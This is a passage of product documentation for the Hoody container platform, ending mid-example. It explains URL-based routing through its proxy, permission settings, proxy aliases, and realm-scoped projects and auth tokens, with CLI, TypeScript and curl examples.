### 3. Proxy Alias URLs

When cryptographic URLs are too long for humans, create aliases:

```
https://my-app.node-us.containers.hoody.icu
https://staging-api.node-eu.containers.hoody.icu
https://client-demo.node-us.containers.hoody.icu
```

Same routing, same security, same proxy -- just a shorter address. Point a CNAME from your own domain, and your infrastructure lives at `api.yourcompany.com`.

### 4. Realm-Scoped URLs

For multi-tenant isolation, realms namespace the API itself:

```
https://{realmId}.api.hoody.icu/api/v1/containers
```

Different realm, different universe. Auth tokens, containers, projects -- all scoped. One Hoody account, infinite isolated namespaces.

---

## Why URLs Are the Universal Interface

Three audiences interact with computing infrastructure: humans, machines, and AI. The legacy world gives each a different interface. Humans get GUIs. Machines get wire protocols. AI gets SDKs.

Hoody gives all three the same thing: **a URL.**

### Humans

Open a browser. Type the URL. You are in a terminal. Change `terminal` to `display` in the address bar. Now you are on a desktop. Change `display` to `files`. Now you are browsing the filesystem. No client installation. No SSH keys. No VPN.

### AI Agents

Give an LLM a container URL. It already knows HTTP. It already knows JSON. It already knows `GET`, `POST`, `PUT`, `DELETE`. No SDK, no adapter, no training. The URL IS the tool.


  
    ```bash
    # List containers -- the URL is the query
    hoody containers list

    # Get a specific container -- the URL identifies it
    hoody containers get 890abcdef12345678901cdef
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Every resource is a URL behind the scenes
    const container = await client.api.containers.get('890abcdef12345678901cdef');

    // Construct any service URL from the container data
    const terminalUrl = `https://${container.data.project_id}-${container.data.id}-terminal-1.${container.data.server_name}.containers.hoody.icu`;
    ```
  
  
    ```bash
    # The URL IS the resource
    curl https://api.hoody.icu/api/v1/containers/890abcdef12345678901cdef \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Execute a command -- via URL
    curl -X POST "https://$PROJECT-$CONTAINER-terminal-1.$SERVER.containers.hoody.icu/api/v1/terminal/execute" \
      -H "Content-Type: application/json" \
      -d '{"command": "ls -la", "wait": true}'
    ```
  


### IoT and Embedded Devices

Can it make an HTTP request? Then it can control a full Linux computer. A Raspberry Pi. A smart thermostat. A CI/CD runner. If it speaks HTTP, it speaks Hoody.

---

## Composability Through URLs

Here is where the URL-first model departs from everything else: **URLs compose.**

If everything is a URL, then combining systems is combining URLs. No integration layer. No message queue. No adapter pattern. You compose addresses.


  
    ```bash
    # Chain container operations -- each is a URL call
    hoody snapshots create -c 890abcdef12345678901cdef --alias "before-experiment"

    # Clone from that snapshot to a new container
    hoody containers copy 890abcdef12345678901cdef \
      --target-project-id abc123 \
      --source-snapshot "before-experiment"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Connect to Container B and read a file
    const containerB = await client.withContainer({
      id: CONTAINER_B_ID,
      project_id: PROJECT_ID,
      server: SERVER_NAME
    });
    const config = await containerB.files.get('/home/app/config.json');

    // Connect to Container A and write to its SQLite
    const containerA = await client.withContainer({
      id: CONTAINER_A_ID,
      project_id: PROJECT_ID,
      server: SERVER_NAME
    });
    await containerA.sqlite.database.executeTransaction(
      { transaction: [{ statement: `INSERT INTO configs VALUES (?)`, values: [config.data] }] },
      { db: 'app' }
    );
    ```
  
  
    ```bash
    # Container A executes a build in Container B's terminal
    curl -X POST "https://$PROJECT-$CONTAINER_B-terminal-1.$SERVER.containers.hoody.icu/api/v1/terminal/execute" \
      -H "Content-Type: application/json" \
      -d '{"command": "npm run build", "wait": true}'

    # Then reads the artifact via Container B's files
    curl "https://$PROJECT-$CONTAINER_B-files-1.$SERVER.containers.hoody.icu/home/app/dist/bundle.js" \
      -o bundle.js

    # And uploads it to Container C
    curl -X PUT "https://$PROJECT-$CONTAINER_C-files-1.$SERVER.containers.hoody.icu/var/www/html/bundle.js" \
      --data-binary @bundle.js
    ```
  


No orchestrator. No message bus. No service mesh. Just URLs calling URLs. The web already solved distributed systems. We just made infrastructure speak the same language.

---

## The Self-Documenting Infrastructure

Legacy systems require documentation to explain how to reach them. IP addresses, port numbers, protocol versions, authentication mechanisms -- all living in wikis, READMEs, and tribal knowledge.

A Hoody URL documents itself:

```
https://67e89abc123def456789abcd-890abcdef12345678901cdef-sqlite-1.node-us.containers.hoody.icu
```

Read it left to right: **Project** `67e89abc...` owns **Container** `890abcde...`, which runs a **SQLite** database, **instance 1**, on server **node-us**. The URL tells you what it is, where it is, and who owns it.

Share a URL, and you have shared the documentation AND the access AND the interface -- in one string.


Can you describe your infrastructure by listing URLs? If yes, your infrastructure is self-documenting. If no, you have a documentation problem disguised as an infrastructure problem.


---

## URLs in the AI Era

Legacy infrastructure requires AI to learn bespoke interfaces: SSH key exchange, database wire protocols, custom CLIs. Every tool is a separate skill the AI must acquire.

When everything is a URL, AI already has every skill it needs. HTTP is the most represented protocol in LLM training data. JSON is the most represented data format. An AI agent given a Hoody container URL can immediately:

- Execute commands (POST to the terminal URL)
- Read and write files (GET/PUT to the files URL)
- Query databases (POST to the SQLite URL)
- Automate browsers (POST to the browser URL)
- Spawn new containers (POST to the API URL)
- Access desktops (connect to the display URL)

No SDK. No training. No fine-tuning. The URL is the interface the AI was trained on.

This is not a feature. This is an inevitability. AI was trained on HTTP. Infrastructure should be HTTP. We just closed the gap.

`@hoody.com` is the ultimate proof: it is a single URL that teaches any AI how to use every other URL in your infrastructure. Give it to ChatGPT, Claude Code, or Codex — they fetch a Skill, a structured map of every HTTP endpoint across your containers. One URL to rule them all.

---

## The Routing Contract

Every Hoody URL is a contract:

1. **The URL identifies the resource.** Change the URL, change the resource.
2. **The URL routes the request.** The [proxy](/concepts/proxy/) reads the URL segments, finds the container, dispatches to the service.
3. **The URL enforces security.** The 48+ hex characters in the URL are cryptographically unguessable. Knowing the URL IS the first layer of authorization.
4. **The URL enables composability.** Anything that can construct a URL can interact with anything in Hoody.
5. **The URL survives context switches.** Copy it to Slack, paste it in a CI pipeline, embed it in an iframe, hand it to an AI -- the URL works everywhere, always.

---

## What This Means in Practice

Stop thinking about servers, ports, protocols, and clients. Start thinking about URLs.

| Old question | New question |
| :--- | :--- |
| "What's the IP address?" | "What's the URL?" |
| "What port is it on?" | It is in the URL. |
| "What protocol does it use?" | HTTPS. Always. |
| "What client do I need?" | A browser. Or `curl`. Or `fetch`. |
| "How do I give someone access?" | Send them the URL. |
| "How do I revoke access?" | Delete the container. The URL dies. |
| "How do I document this?" | The URL IS the documentation. |

**URLs are the API, the interface, and the documentation -- all in one.**

---

**Next:** [Containers](/concepts/containers/) -- what lives at these URLs.

---

# The Hoody Proxy

**Page:** concepts/proxy

[Download Raw Markdown](./concepts/proxy.md)

---

# The Hoody Proxy

**Every URL in Hoody passes through one gateway.** Not a load balancer. Not a CDN. Not a reverse proxy in the traditional sense. The Hoody Proxy is the single point that transforms URL requests into container service calls, enforces security, terminates TLS, and preserves the real client IP -- all without a single line of configuration from you.

When you access a terminal, a desktop, a file, a database, or any service in any container -- you are going through the proxy. It is invisible, but it is the reason everything works.

One protocol. One gateway. One audit trail.

---

## How Routing Works

When a request arrives, the proxy does four things in microseconds:

### 1. Parse the URL

```
https://67e89abc123def456789abcd-890abcdef12345678901cdef-terminal-1.node-us.containers.hoody.icu/api/v1/terminal/execute
       └──────────┬──────────┘ └──────────┬──────────┘ └───┬───┘ └┘
              Project ID           Container ID        Service  Instance
```

The proxy extracts four identifiers from the hostname: project ID, container ID, service type, and instance number. No routing table. No configuration file. The URL IS the route.

### 2. Locate the Container

The proxy maintains a live map of all containers on the server. Given the container ID, it knows the container's internal IP, the ports each service listens on, and whether the container is running.

If the container does not exist or is stopped: `503 Service Unavailable`. No ambiguity.

### 3. Check Permissions

If the container or its project has [permissions configured](/concepts/security/), the proxy validates the request against every active authentication group: JWT claims, HTTP Basic credentials, client IP range, or bearer token. If no permissions are configured, the request passes -- the cryptographic URL is the authentication.

### 4. Dispatch to the Service

The proxy forwards the request to the correct internal service port inside the container. Terminal requests go to port 76. Display requests go to port 3998. SQLite goes to 5. (These internal Kit ports are operator-configurable defaults and never client-visible.) Your own HTTP servers go to whatever port you specified in the URL (`http-3000`, `http-5000`).

The client never sees internal ports. The client sees HTTPS on port 443. Always.

```
Client Request
    ↓
https://...-terminal-1.node-us.containers.hoody.icu
    ↓
Hoody Proxy (port 443)
  ├─ TLS termination
  ├─ URL parsing → project, container, service, instance
  ├─ Permission check (if configured)
  ├─ Real IP preservation (netfilter hooks)
  └─ Forward to container internal port 76
    ↓
Container's Terminal Service
    ↓
Response → Proxy → Client
```

---

## Wildcard TLS: Every URL Is HTTPS

The proxy terminates TLS for every request using wildcard certificates:

```
*.containers.hoody.icu
```

This means:

- **Every container service URL is HTTPS.** No exceptions. No HTTP fallback. No mixed-content warnings.
- **No certificate management.** You never generate, install, renew, or think about certificates.
- **Your URLs stay private.** Wildcard certificates do not appear in Certificate Transparency logs. Your specific container URLs are never published anywhere.
- **Custom domains get their own certificates.** Point a CNAME to a proxy alias, and Let's Encrypt issues a certificate automatically.


Standard Let's Encrypt certificates are publicly logged -- anyone can see what domains you host. Hoody's wildcard certificates mean your container URLs are invisible to the outside world. The URL is only known to people you share it with.


---

## Protocol Support

The proxy is not limited to basic HTTP request-response. It handles the full modern web stack:

### HTTP/1.1, HTTP/2, HTTP/3 (QUIC)

The proxy negotiates the best available protocol with each client automatically. HTTP/2 multiplexing eliminates head-of-line blocking. HTTP/3 over QUIC provides lower latency over unreliable networks.

You do nothing. The proxy handles negotiation, upgrade, and fallback.

### WebSocket

Terminal sessions, display streaming, and real-time services use WebSocket connections that upgrade from HTTP. The proxy handles WebSocket natively -- maintaining persistent bidirectional connections through the same URL, the same TLS certificate, the same authentication layer.

Multiple WebSocket connections to the same service URL create multiplayer sessions automatically. Two people open the same terminal URL? Two WebSocket connections, same terminal session. Multiplayer by architecture.

### What Is Not Supported

The proxy is HTTP-native. Non-HTTP protocols do not pass through it:

- UDP services (game servers, VoIP, custom UDP protocols) need direct access via [IPv4 addresses](/foundation/networking/ipv4/) or [SSH](/foundation/networking/ssh/)
- HTTP/3 (QUIC) is the exception -- it uses UDP but is fully supported because it is HTTP

---

## Real Client IP Preservation

This is the feature most proxies get wrong, and the one Hoody gets right at the kernel level.

**The problem with traditional proxies:** When traffic passes through a reverse proxy, the application sees the proxy's IP address, not the client's. The standard workaround is `X-Forwarded-For` headers -- but applications must explicitly parse them, firewalls cannot use them, and legacy code ignores them entirely.

**Hoody's solution:** Custom **netfilter hooks** in the host kernel rewrite connection metadata so that traffic arriving at the container appears to originate from the real client IP. The container's `remoteAddr` is the actual client address. No headers to parse. No application changes. No configuration.


  
    ```bash
    # Your application sees the real client IP automatically
    # No configuration needed

    # Verify with a simple Node.js server
    hoody terminal sessions exec \
      --command "node -e \"
        require('http').createServer((req, res) => {
          res.end('Your IP: ' + req.socket.remoteAddress);
        }).listen(3000);
      \"" \
      -c $CONTAINER_ID

    # Access via proxy -- shows REAL client IP, not proxy IP
    ```
  
  
    ```typescript
    // Any web framework sees real IPs -- no special configuration
    // Express
    app.get('/', (req, res) => {
      console.log(req.connection.remoteAddress);
      // "203.0.113.50" -- the actual client, not "10.0.0.1"
    });

    // Python Flask
    // request.remote_addr -> "203.0.113.50"

    // PHP
    // $_SERVER['REMOTE_ADDR'] -> "203.0.113.50"

    // Go
    // r.RemoteAddr -> "203.0.113.50:54321"
    ```
  
  
    ```bash
    # Standard iptables rules work with real client IPs
    # Inside the container:

    # Allow only your office IP
    iptables -A INPUT -s 203.0.113.0/24 -j ACCEPT

    # Block a known bad actor
    iptables -A INPUT -s 198.51.100.42 -j DROP

    # Works correctly because the proxy preserves real IPs
    # via kernel-level netfilter hooks
    ```
  


**Why this matters:** Every application, every language, every framework, every firewall rule, every legacy system -- all see the real client IP without modification. Access control, rate limiting, geo-routing, analytics -- all work as if the proxy does not exist.

---

## The Permission Model

The proxy is the single enforcement point for all access control. Not the individual services. Not the containers. Not the applications. The proxy.

### Open by Default

When you create a container, its URLs are accessible to anyone who has them. This sounds dangerous until you consider the math: container IDs are 24 hex characters, which means 2^96 possible combinations. Brute-forcing a container URL at one billion attempts per second would take longer than the age of the universe.

The URL itself is a cryptographic secret. Share it deliberately, and you have granted access. Keep it private, and it is private.

### Lock When Ready

When you need more than URL secrecy, the proxy supports layered authentication:

| Method | How It Works | Best For |
| :--- | :--- | :--- |
| **JWT** | Token with claims validation | API consumers, AI agents |
| **Password** | HTTP Basic Auth (username/password) | Quick protection, internal tools |
| **IP whitelist** | Allow specific IPs or CIDR ranges | Office access, known servers |
| **Bearer token** | Custom token in Authorization header | Service-to-service communication |

Permissions can be set at two levels:

- **Project level** -- applies to every container in the project
- **Container level** -- overrides project settings for specific containers

And permissions are granular per service:

```
Terminal: execute allowed, but files: read-only
Display: view allowed, but control denied
Database: query allowed, but modify denied
```


  
    ```bash
    # Set project-level proxy permissions
    hoody projects proxy permissions replace --project $PROJECT_ID \
      --groups office='{"type":"ip","range":"203.0.113.0/24"}' \
      --permissions office='{"terminal":true,"files":true,"display":true}' \
      --default deny
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Lock down a container for production
    await client.api.proxyPermissionsContainer.replace(containerId, {
      project: PROJECT_ID,
      container: containerId,
      groups: {
        office: { type: 'ip', range: '10.0.0.0/8' },
        ci: { type: 'token', value: 'secret-production-token' }
      },
      permissions: {
        office: { http: true, files: true },
        ci: { http: true, exec: true }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # Set container-level permissions
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "project": "'$PROJECT_ID'",
        "container": "'$CONTAINER_ID'",
        "groups": {
          "office": { "type": "ip", "range": "203.0.113.0/24" },
          "ci": { "type": "token", "value": "ci-secret-token" }
        },
        "permissions": {
          "office": { "terminal": true, "display": true, "files": true },
          "ci": { "terminal": true, "exec": true, "files": true }
        },
        "default": "deny"
      }'
    ```
  


---

## Proxy Aliases

Cryptographic URLs are secure but unwieldy. Proxy aliases give containers human-friendly addresses:

```
https://my-api.node-us.containers.hoody.icu
```

An alias maps to a specific container and service. Multiple aliases can point to the same container. Aliases support custom domains via CNAME records with automatic SSL:

```
api.yourcompany.com  CNAME  my-api.node-us.containers.hoody.icu
```

The proxy handles the certificate. The proxy routes the request. The proxy enforces permissions. You update a DNS record and you are done.


  
    ```bash
    # Create an alias for your HTTP service
    hoody proxy create \
      --container-id $CONTAINER_ID \
      --alias my-api \
      --program http \
      --index 1
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    await client.api.proxyAliases.create({
      container_id: containerId,
      alias: 'my-api',
      program: 'http',
      index: 1
    });

    // https://my-api.node-us.containers.hoody.icu -> container's HTTP service
    ```
  
  
    ```bash
    # Create a proxy alias
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "890abcdef12345678901cdef",
        "alias": "my-api",
        "program": "http",
        "index": 1
      }'

    # Result: https://my-api.node-us.containers.hoody.icu
    # routes to your container's HTTP service
    ```
  


---

## Per-Server Architecture

Each bare metal server runs its own Hoody Proxy container. The proxy is not a centralized service -- it is local infrastructure on every server.

```
Server 1 (node-us)
  └─ Hoody Proxy Container
      └─ Routes to all containers on Server 1
         URLs: *.node-us.containers.hoody.icu

Server 2 (node-eu)
  └─ Hoody Proxy Container
      └─ Routes to all containers on Server 2
         URLs: *.node-eu.containers.hoody.icu
```

**Why per-server?**

- **Latency:** Proxy and containers are on the same machine. Routing adds less than 1ms.
- **Privacy:** Container traffic never leaves your server. The proxy runs on YOUR bare metal, not ours.
- **Reliability:** No centralized proxy failure. Each server is independent.
- **Locality:** The server name in the URL (`node-us`, `node-eu`) tells you which proxy handles it.

Cross-server communication happens via public URLs. Container on `node-us` calls a container on `node-eu` through `node-eu`'s proxy. Same protocol, same security, same pattern. Just URLs.

---

## The Single Security Enforcement Point

This is the architectural decision that simplifies everything: **all security decisions happen at the proxy.**

Not at the service level. Not in application code. Not in 13 different configuration files. At the proxy.

One place to:
- **Authenticate** -- every request, every service, every container
- **Authorize** -- per-service, per-group, per-container granularity
- **Encrypt** -- TLS termination for all traffic
- **Log** -- every request flows through one gateway
- **Rate limit** -- one enforcement point for all services
- **Observe** -- intercept and inspect any traffic via [hoody-exec](/kit/exec/)

When you audit your security posture, you audit the proxy configuration. When you lock down production, you lock down the proxy. When you open access for a demo, you adjust the proxy. One knob, one audit trail, one mental model.


The proxy enforces security, but it does not implement application-level security. If your web app has an SQL injection vulnerability, the proxy cannot fix that. The proxy secures the transport and access layer. Application security remains your responsibility.


---

## What the Proxy Enables

The proxy is not just infrastructure. It is the architectural decision that makes the rest of Hoody possible:

- **"Everything is a URL"** works because the proxy routes every URL to the right container and service.
- **Multiplayer** works because the proxy handles concurrent WebSocket connections to the same service.
- **Embeddability** works because the proxy serves every service over HTTPS, making them iframe-safe.
- **AI access** works because the proxy speaks HTTP -- the language AI already knows.
- **Custom domains** work because the proxy terminates TLS and issues certificates.
- **Security** works because the proxy is the single enforcement point.

Remove the proxy, and URLs stop working. Remove the proxy, and you need SSH, VNC, FTP, and a dozen other protocols. Remove the proxy, and Hoody is just another VM host.

The proxy is what makes containers into URLs. And URLs are what make Hoody, Hoody.

---

**Next:** [Security & Permissions](/concepts/security/) -- the full security model.

---

# Realms & Projects

**Page:** concepts/realms-projects

[Download Raw Markdown](./concepts/realms-projects.md)

---

# Realms & Projects

**Every other platform treats multi-tenancy as an afterthought.** IAM roles. Org charts. Nested permission hierarchies that take a PhD to debug. You end up with a CI token that can nuke production because someone forgot to scope it.

Hoody built isolation into the architecture from day one. Two primitives. Two problems solved.

**Projects** organize your resources -- containers, quotas, team permissions. Think of them as folders for your computers.

**Realms** isolate API visibility. A realm-scoped token physically cannot see resources outside its realm. Not "permission denied." Not "unauthorized." The resources do not exist in its universe.

Together, they give you organizational clarity (projects) and security isolation (realms) without a 47-page IAM policy document.

---

## Projects: Organize Your Computers

A project is a boundary for containers. Every container belongs to exactly one project. Projects give you:

- **Container grouping** -- `frontend`, `backend`, `ml-pipeline`, `staging`
- **Team permissions** -- `read`, `edit`, `delete` per member
- **Quotas** -- resource limits, prespawn settings
- **Billing** -- costs tracked per project

When you create a container, you create it inside a project. When you list containers, you can filter by project. When you share access with a teammate, you share at the project level.


  
    ```bash
    # Create a project
    hoody projects create --alias "production-api"

    # List your projects
    hoody projects list

    # Create a container inside the project
    hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "api-server" \
      --hoody-kit
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Create a project
    const project = await client.api.projects.create({
      alias: 'production-api'
    });

    // List all projects
    const projects = await client.api.projects.list();

    // Create a container in that project
    const container = await client.api.containers.create(
      project.data.id,
      {
        server_id: SERVER_ID,
        name: 'api-server',
        hoody_kit: true
      }
    );
    ```
  
  
    ```bash
    # Create a project
    curl -X POST "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "production-api"}'

    # List projects
    curl "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Create a container in the project
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "server_id": "'"$SERVER_ID"'",
        "name": "api-server",
        "hoody_kit": true
      }'
    ```
  



Think of projects like email folders -- create as many as you need. A project for each application, each team, each experiment. The overhead is zero.


---

## Realms: Invisible Walls in the API

Here is the question that every multi-tenant system eventually faces: **how do you stop a token from seeing things it should not see?**

Traditional platforms add permission checks. The resource exists, the token just cannot access it. That means a misconfigured permission can expose everything. One overly permissive role, one leaked token, and the blast radius is your entire account.

Realms take a fundamentally different approach. A realm does not restrict access to resources. It removes resources from existence.

### How Realms Work

A realm is a 24-hex identifier (e.g., `507f1f77bcf86cd799439011`) that acts as an API isolation scope. Resources have a `realm_ids: string[]` field. Auth tokens can be restricted to specific realms. And the API host itself carries the realm scope:

```
Unscoped:     https://api.hoody.icu
Realm-scoped: https://507f1f77bcf86cd799439011.api.hoody.icu
```

When you call a realm-scoped host:
- **Read operations** return only resources whose `realm_ids` includes that realm
- **Write operations** automatically merge the realm into `realm_ids` on the created resource

When your token is realm-restricted and you call the unscoped host, the API rejects it. The token literally cannot operate without a realm scope.


Realms are NOT network isolation. They do not create firewalls or private networks between containers. Realms scope API visibility -- what your token can see and control. For network-level isolation, use [Container Network](/foundation/networking/network/) and [Firewall](/foundation/networking/firewall/) configuration.


### Realm-Scoped API Calls


  
    ```bash
    # List containers visible in a specific realm
    hoody --base-url "https://507f1f77bcf86cd799439011.api.hoody.icu" \
      containers list

    # Create a project in a realm (auto-assigned realm_ids)
    hoody --base-url "https://507f1f77bcf86cd799439011.api.hoody.icu" \
      projects create --alias "prod-services"

    # Discover your token's realm restrictions
    hoody auth get-current
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    // Realm-scoped client -- only sees resources in this realm
    const realmClient = new HoodyClient({
      baseURL: 'https://507f1f77bcf86cd799439011.api.hoody.icu',
      token: process.env.HOODY_TOKEN
    });

    // This only returns containers assigned to realm 507f1f77bcf86cd799439011
    const containers = await realmClient.api.containers.list();

    // Projects created here auto-inherit the realm
    const project = await realmClient.api.projects.create({
      alias: 'prod-services'
    });
    // project.data.realm_ids includes '507f1f77bcf86cd799439011'
    ```
  
  
    ```bash
    # List containers in a realm
    curl "https://507f1f77bcf86cd799439011.api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # Create a project scoped to a realm
    curl -X POST "https://507f1f77bcf86cd799439011.api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "prod-services"}'

    # Discover token realm restrictions
    curl "https://api.hoody.icu/api/v1/auth/tokens/me" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


---

## How They Work Together

Projects and realms solve different problems, and they layer perfectly.

**Projects** are organizational. You use them to group containers by function -- `frontend`, `backend`, `data-pipeline`. Team members get permissions at the project level. Quotas are set per project.

**Realms** are security boundaries. You use them to isolate environments -- production, staging, client-A, client-B. Auth tokens are restricted per realm. API visibility is scoped per realm.

The combination is powerful:

```
Realm: production
├── Project: api-services
│   ├── Container: auth-server
│   ├── Container: user-api
│   └── Container: payment-api
├── Project: frontend
│   ├── Container: web-app
│   └── Container: admin-dashboard
└── Project: infrastructure
    ├── Container: monitoring
    └── Container: log-aggregator

Realm: staging
├── Project: api-services
│   └── Container: staging-api (copy of prod)
└── Project: frontend
    └── Container: staging-web (copy of prod)
```

A CI token restricted to the `staging` realm can deploy all day long. It cannot see, touch, or even know that the production realm exists.

### Realm/Project Consistency

When you create a container from a realm-scoped host, the parent project must already belong to that realm. Otherwise Hoody rejects the request with a `403`.

This prevents a subtle but dangerous inconsistency: creating a realm-scoped container under an out-of-scope project.


  
    ```bash
    # Create a realm-restricted auth token for your CI pipeline
    hoody auth create \
      --alias "ci-staging-deploy" \
      --expires-at "2026-07-12T00:00:00Z" \
      --realm-ids "60d5f1f3a3b4f9c3e8a1b2c3" \
      --no-allow-no-realm

    # This token can only operate on the staging realm
    # It cannot see production resources -- they do not exist in its world
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Create a realm-restricted token for CI
    const token = await client.api.authTokens.create({
      alias: 'ci-staging-deploy',
      expires_at: '2026-07-12T00:00:00Z',
      realm_ids: ['60d5f1f3a3b4f9c3e8a1b2c3'],
      allow_no_realm: false
    });

    // CI uses this token with the staging realm host
    const ciClient = new HoodyClient({
      baseURL: 'https://60d5f1f3a3b4f9c3e8a1b2c3.api.hoody.icu',
      token: token.token
    });

    // This client can only see staging resources
    const containers = await ciClient.api.containers.list();
    ```
  
  
    ```bash
    # Create a realm-restricted token
    curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "alias": "ci-staging-deploy",
        "expires_at": "2026-07-12T00:00:00Z",
        "realm_ids": ["60d5f1f3a3b4f9c3e8a1b2c3"],
        "allow_no_realm": false
      }'

    # Use it on the realm-scoped host
    curl "https://60d5f1f3a3b4f9c3e8a1b2c3.api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer hdy_CiToken123..."
    ```
  


---

## The Bootstrap Exception

There is one case where a realm-restricted token can call the unscoped base host: discovery.

A freshly issued realm-restricted token does not know which realm host to use. So Hoody allows `GET /api/v1/auth/tokens/me` on `https://api.hoody.icu` for any token. The response carries a `restrictions` object that tells the client:

- `restrictions.allowed_realm_ids` -- which realms this token can access
- `restrictions.requires_realm_scope` -- whether a realm-scoped host is required
- `restrictions.active_realm_id` -- the currently active realm (if any)

SDK clients and automation tools use this to self-configure on startup. Call `/me`, learn your realms, switch to the correct host.


This bootstrap endpoint is for token introspection only. All other API calls from a realm-restricted token must use a realm-scoped host (`https://{realmId}.api.hoody.icu`). Calling the unscoped host returns a `403: "This token requires a realm-scoped URL"`.


---

## Real-World Patterns

### One Realm Per Environment

The most common pattern. Production token cannot accidentally delete staging containers. Staging token cannot see production data.

```
Realm: production  →  Token: prod-deploy   (expires: never, IP-locked)
Realm: staging     →  Token: ci-staging    (expires: 90d)
Realm: development →  Token: dev-team      (expires: 30d)
```

### One Realm Per Client

SaaS multi-tenancy. Each client's containers live in their own realm. Client-scoped tokens cannot see other clients' infrastructure.

```
Realm: client-acme    →  Token: acme-api-key
Realm: client-globex  →  Token: globex-api-key
Realm: internal       →  Token: admin-full-access
```

### One Realm Per AI Agent

The safest approach for automation. Each AI agent gets a realm-restricted token scoped to only the containers it manages. A misbehaving agent cannot affect containers outside its realm.

```
Realm: agent-deploy   →  Agent deploys to 3 containers
Realm: agent-monitor  →  Agent reads metrics from 10 containers
Realm: agent-test     →  Agent runs tests in isolated containers
```

### Delegating Access to External Parties

Give a freelancer, auditor, or support engineer access to specific containers without exposing your entire account. Create a realm, assign the relevant containers, issue a restricted token with a short expiration and IP allowlist.


  
    ```bash
    # Create a short-lived, IP-locked token for a freelancer
    hoody auth create \
      --alias "freelancer-debug" \
      --expires-at "2026-04-20T00:00:00Z" \
      --ip-whitelist "203.0.113.44" \
      --realm-ids "507f1f77bcf86cd799439011" \
      --no-allow-no-realm
    ```
  
  
    ```typescript
    const token = await client.api.authTokens.create({
      alias: 'freelancer-debug',
      expires_at: '2026-04-20T00:00:00Z',
      ip_whitelist: ['203.0.113.44'],
      realm_ids: ['507f1f77bcf86cd799439011'],
      allow_no_realm: false
    });

    // Share token + realm URL with freelancer:
    // https://507f1f77bcf86cd799439011.api.hoody.icu
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "alias": "freelancer-debug",
        "expires_at": "2026-04-20T00:00:00Z",
        "ip_whitelist": ["203.0.113.44"],
        "realm_ids": ["507f1f77bcf86cd799439011"],
        "allow_no_realm": false
      }'
    ```
  


When the work is done, disable or delete the token. Access vanishes instantly.

### Build Your Platform on Hoody

This is the pattern that changes what you can ship. Combine realms, auth tokens, and the full SDK, and every customer you onboard gets their own isolated Hoody API -- containers, terminals, files, browsers, AI agents, cron, databases -- without you building any of it.

**You are the provider. Hoody is the infrastructure. Your customers never know.**


**Auth tokens cannot create other auth tokens.** The `POST /api/v1/auth/tokens` endpoint returns `403` when called with an auth token (`hdy_...`). Use account credentials instead -- either `HoodyClient.authenticate(baseURL, { username, password })` or a JWT from `POST /api/v1/users/auth/login`. A JWT bearer is fine; only auth tokens are forbidden.



  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    // You: the platform provider — log in with account credentials
    const hoody = await HoodyClient.authenticate('https://api.hoody.icu', {
      username: process.env.PROVIDER_EMAIL!,
      password: process.env.PROVIDER_PASSWORD!,
    });

    // Pick a realm ID for the new customer (24-hex)
    const realmId = '507f1f77bcf86cd799439011';

    // 1. Pre-create at least one project in the realm.
    //    The external_customer template denies projects.create,
    //    so the customer cannot create one themselves.
    const project = await hoody.api.projects.create({
      alias: 'acme-workspace',
      realm_ids: [realmId],
    });

    // 2. Optionally pre-create containers in that project / realm.
    //    Anything you want the customer to see must carry their realm_id.
    await hoody.api.containers.create(project.data!.id, {
      server_id: process.env.SERVER_ID!,
      name: 'acme-box-1',
      hoody_kit: true,
      realm_ids: [realmId],
    });

    // 3. Issue the customer a realm-scoped token
    const created = await hoody.api.authTokens.create({
      alias: 'Customer: Acme Corp',
      permission_template: 'external_customer',
      realm_ids: [realmId],
      allow_no_realm: false,
      ip_whitelist: ['203.0.113.0/24'],
      expires_at: '2026-12-31T00:00:00Z',
    });

